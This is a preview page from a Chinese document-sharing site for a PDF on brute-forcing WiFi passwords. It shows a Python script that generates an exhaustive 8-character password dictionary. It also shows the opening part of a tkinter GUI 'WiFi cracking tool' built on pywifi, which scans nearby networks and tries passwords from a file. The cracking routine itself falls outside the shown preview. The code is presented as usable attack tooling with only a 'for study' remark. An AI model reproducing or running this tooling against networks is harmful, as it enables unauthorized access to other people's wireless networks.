暂无图片
暂无图片
1
暂无图片
暂无图片
暂无图片
WIFI_暴力破解.pdf
98
5页
2次
2024-01-07
5墨值下载
生成密码文件脚本:8位包含:数字、大小写字母、及特殊字条:!@#$%^&*()_+=-
import itertools as its
1
words ="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+=-"
2
r = its.product(words,repeat=8) #组成8位字符串
3
dic = open("pwd.txt","a") #存储密码字典
4
for i in r:
5
dic.write("".join(i))
6
dic.write("".join("\n"))
7
dic.close()
8
暴力破解脚本:(资源来自网上,自已保留供学习参考)
from tkinter import *
1
from tkinter import ttk
2
import pywifi
3
from pywifi import const
4
import time
5
import tkinter.filedialog #Gui中打开文件浏览
6
import tkinter.messagebox #打开tkiner的消息提醒框
7
8
class MY_GUI():
9
def __init__(self, init_window_name):
10
self.init_window_name = init_window_name
11
# 密码文件路径
12
self.get_value = StringVar() # 设置可变内容
13
# 获取破解wifi账号
14
self.get_wifi_value = StringVar()
15
# 获取wifi密码
16
self.get_wifimm_value = StringVar()
17
# 抓取网卡接口
18
self.wifi = pywifi.PyWiFi()
19
# 抓取第一个无线网卡
20
self.iface = self.wifi.interfaces()[0]
21
# 测试链接断开所有链接
22
self.iface.disconnect()
23
time.sleep(1) # 休眠1
24
# 测试网卡是否属于断开状态
25
assert self.iface.status() in \
26
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
27
28
def __str__(self):
29
# 自动会调用的函数,返回自身的网卡
30
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
31
# 设置窗口
32
def set_init_window(self):
33
self.init_window_name.title("WIFI破解工具")
34
self.init_window_name.geometry('+500+200')
35
labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下对象都是
对于labelframe中添加的
36
labelframe.grid(column=0, row=0, padx=10, pady=10)
37
self.search = Button(labelframe, text="搜索附近WiFi",
command=self.scans_wifi_list).grid(column=0, row=0)
38
self.pojie = Button(labelframe, text="开始破解",
command=self.readPassWord).grid(column=1, row=0)
39
self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
40
self.path = Entry(labelframe, width=12,
textvariable=self.get_value).grid(column=1, row=1)
41
self.file = Button(labelframe, text="添加密码文件目录",
command=self.add_mm_file).grid(column=2, row=1)
42
self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
43
self.wifi_input = Entry(labelframe, width=12,
textvariable=self.get_wifi_value).grid(column=1, row=2)
44
self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
45
self.wifi_mm_input = Entry(labelframe, width=10,
textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
46
self.wifi_labelframe = LabelFrame(text="wifi列表")
47
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
48
# 定义树形结构与滚动条
49
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=
("a", "b", "c", "d"))
50
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL,
command=self.wifi_tree.yview)
51
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
52
# 表格的标题
53
self.wifi_tree.column("a", width=50, anchor="center")
54
self.wifi_tree.column("b", width=100, anchor="center")
55
self.wifi_tree.column("c", width=100, anchor="center")
56
self.wifi_tree.column("d", width=100, anchor="center")
57
of 5
5墨值下载
【版权声明】本文为墨天轮用户原创内容,转载时必须标注文档的来源(墨天轮),文档链接,文档作者等基本信息,否则作者和墨天轮有权追究责任。如果您发现墨天轮中有涉嫌抄袭或者侵权的内容,欢迎发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

文档被以下合辑收录

评论

关注
最新上传
暂无内容,敬请期待...
下载排行榜
Top250 周榜 月榜